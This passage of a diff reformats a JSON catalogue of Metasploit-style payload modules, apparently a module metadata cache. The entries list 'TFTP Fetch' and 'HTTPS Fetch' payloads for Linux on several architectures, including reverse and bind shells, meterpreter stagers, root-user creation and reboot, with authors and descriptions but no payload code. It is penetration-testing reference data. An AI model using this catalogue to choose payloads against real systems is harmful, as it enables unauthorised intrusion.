"payload", @@ -208028,9 +212413,7 @@ "kris katterjohn " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection over IPv6 and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208044,8 +212427,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208056,9 +212438,7 @@ "payload_cmd/linux/https/x86/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208068,9 +212448,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208084,8 +212462,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208096,9 +212473,7 @@ "payload_cmd/linux/https/x86/shell_bind_tcp_random_port": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/https/x86/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208108,7 +212483,7 @@ "Geyslan G. Bem ", "Aleh Boitsau " ], - "description": "Fetch and execute an x86 payload from an HTTPS server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Fetch and execute an x86 payload from an HTTPS server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm", "EDB-41631" @@ -208126,8 +212501,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208138,9 +212512,7 @@ "payload_cmd/linux/https/x86/shell_find_port": { "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/https/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208150,9 +212522,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208166,8 +212536,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208178,9 +212547,7 @@ "payload_cmd/linux/https/x86/shell_find_tag": { "name": "HTTPS Fetch, Linux Command Shell, Find Tag Inline", "fullname": "payload/cmd/linux/https/x86/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208189,10 +212556,8 @@ "Spencer McIntyre", "skape " ], - "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a shell on an established connection (proxy/NAT safe)", + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208206,8 +212571,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208218,9 +212582,7 @@ "payload_cmd/linux/https/x86/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208231,9 +212593,7 @@ "joev " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208247,8 +212607,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208259,9 +212618,7 @@ "payload_cmd/linux/https/x86/shell_reverse_tcp_ipv6": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/https/x86/shell_reverse_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208271,9 +212628,7 @@ "Matteo Malvica " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208287,8 +212642,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208299,9 +212653,7 @@ "payload_cmd/linux/tftp/aarch64/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/aarch64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208311,9 +212663,7 @@ "Adam Cammack " ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208327,8 +212677,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208341,9 +212690,7 @@ "payload_cmd/linux/tftp/aarch64/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208355,9 +212702,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208371,8 +212716,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208383,9 +212727,7 @@ "payload_cmd/linux/tftp/aarch64/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208397,9 +212739,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208413,8 +212753,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208425,9 +212764,7 @@ "payload_cmd/linux/tftp/aarch64/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208439,9 +212776,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208455,8 +212790,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208467,9 +212801,7 @@ "payload_cmd/linux/tftp/aarch64/shell/reverse_tcp": { "name": "TFTP Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/aarch64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208478,9 +212810,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.\ndup2 socket in x12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208494,8 +212824,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208508,9 +212837,7 @@ "payload_cmd/linux/tftp/aarch64/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208519,9 +212846,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208535,8 +212860,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208547,9 +212871,7 @@ "payload_cmd/linux/tftp/armbe/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208561,9 +212883,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208577,8 +212897,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208589,9 +212908,7 @@ "payload_cmd/linux/tftp/armbe/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208603,9 +212920,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208619,8 +212934,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208631,9 +212945,7 @@ "payload_cmd/linux/tftp/armbe/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208645,9 +212957,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208661,8 +212971,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208673,9 +212982,7 @@ "payload_cmd/linux/tftp/armbe/shell_bind_tcp": { "name": "TFTP Fetch, Linux ARM Big Endian Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/armbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208701,8 +213008,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208713,9 +213019,7 @@ "payload_cmd/linux/tftp/armle/adduser": { "name": "TFTP Fetch, Linux Add User", "fullname": "payload/cmd/linux/tftp/armle/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208725,9 +213029,7 @@ "Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208741,8 +213043,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208753,9 +213054,7 @@ "payload_cmd/linux/tftp/armle/exec": { "name": "TFTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/tftp/armle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208765,9 +213064,7 @@ "Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nExecute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208781,8 +213078,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208793,9 +213089,7 @@ "payload_cmd/linux/tftp/armle/meterpreter/bind_tcp": { "name": "TFTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/armle/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208806,9 +213100,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208822,8 +213114,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208836,9 +213127,7 @@ "payload_cmd/linux/tftp/armle/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/armle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208850,9 +213139,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208866,8 +213153,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208880,9 +213166,7 @@ "payload_cmd/linux/tftp/armle/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208894,9 +213178,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208910,8 +213192,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208922,9 +213203,7 @@ "payload_cmd/linux/tftp/armle/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208936,9 +213215,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208952,8 +213229,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208964,9 +213240,7 @@ "payload_cmd/linux/tftp/armle/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208978,9 +213252,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208994,8 +213266,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209006,9 +213277,7 @@ "payload_cmd/linux/tftp/armle/shell/bind_tcp": { "name": "TFTP Fetch, Linux dup2 Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/armle/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209018,9 +213287,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\ndup2 socket in r12, then execve.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209034,8 +213301,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209048,9 +213314,7 @@ "payload_cmd/linux/tftp/armle/shell/reverse_tcp": { "name": "TFTP Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/armle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209061,9 +213325,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\ndup2 socket in r12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209077,8 +213339,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209091,9 +213352,7 @@ "payload_cmd/linux/tftp/armle/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/armle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209104,9 +213363,7 @@ "hal" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nConnect to target and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209120,8 +213377,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209132,9 +213388,7 @@ "payload_cmd/linux/tftp/armle/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/armle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209144,9 +213398,7 @@ "civ" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209160,8 +213412,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209172,9 +213423,7 @@ "payload_cmd/linux/tftp/mips64/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209186,9 +213435,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209202,8 +213449,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209214,9 +213460,7 @@ "payload_cmd/linux/tftp/mips64/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209228,9 +213472,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209244,8 +213486,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209256,9 +213497,7 @@ "payload_cmd/linux/tftp/mips64/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209270,9 +213509,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209286,8 +213523,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209298,9 +213534,7 @@ "payload_cmd/linux/tftp/mipsbe/exec": { "name": "TFTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/tftp/mipsbe/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209310,7 +213544,7 @@ "Michael Messner ", "entropy " ], - "description": "Fetch and execute an MIPSBE payload from a TFTP server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes.", + "description": "Fetch and execute an MIPSBE payload from a TFTP server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes.", "references": [ "EDB-17940" ], @@ -209327,8 +213561,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209339,9 +213572,7 @@ "payload_cmd/linux/tftp/mipsbe/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/mipsbe/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209353,9 +213584,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209369,8 +213598,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209383,9 +213611,7 @@ "payload_cmd/linux/tftp/mipsbe/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209397,9 +213623,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209413,8 +213637,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209425,9 +213648,7 @@ "payload_cmd/linux/tftp/mipsbe/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209439,9 +213660,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209455,8 +213674,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209467,9 +213685,7 @@ "payload_cmd/linux/tftp/mipsbe/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209481,9 +213697,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209497,8 +213711,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209509,9 +213722,7 @@ "payload_cmd/linux/tftp/mipsbe/reboot": { "name": "TFTP Fetch, Linux Reboot", "fullname": "payload/cmd/linux/tftp/mipsbe/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209521,7 +213732,7 @@ "Michael Messner ", "rigan - " ], - "description": "Fetch and execute an MIPSBE payload from a TFTP server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes or executing\n other payloads that rely on initial startup procedures.", + "description": "Fetch and execute an MIPSBE payload from a TFTP server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes or executing\n other payloads that rely on initial startup procedures.", "references": [ "URL-http://www.shell-storm.org/shellcode/files/shellcode-795.php" ], @@ -209538,8 +213749,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209550,9 +213760,7 @@ "payload_cmd/linux/tftp/mipsbe/shell/reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/mipsbe/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209563,9 +213771,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209579,8 +213785,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209593,9 +213798,7 @@ "payload_cmd/linux/tftp/mipsbe/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/mipsbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209608,9 +213811,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209624,8 +213825,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209636,9 +213836,7 @@ "payload_cmd/linux/tftp/mipsbe/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/mipsbe/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209665,8 +213863,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209677,9 +213874,7 @@ "payload_cmd/linux/tftp/mipsle/exec": { "name": "TFTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/tftp/mipsle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209689,7 +213884,7 @@ "Michael Messner ", "entropy " ], - "description": "Fetch and execute an MIPSLE payload from a TFTP server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes as well as\n on targets with extremely limited buffer space.", + "description": "Fetch and execute an MIPSLE payload from a TFTP server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes as well as\n on targets with extremely limited buffer space.", "references": [ "EDB-17940" ], @@ -209706,8 +213901,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209718,9 +213912,7 @@ "payload_cmd/linux/tftp/mipsle/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/mipsle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209732,9 +213924,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209748,8 +213938,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209762,9 +213951,7 @@ "payload_cmd/linux/tftp/mipsle/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209776,9 +213963,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209792,8 +213977,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209804,9 +213988,7 @@ "payload_cmd/linux/tftp/mipsle/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209818,9 +214000,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.", - "references": [ - - ], + 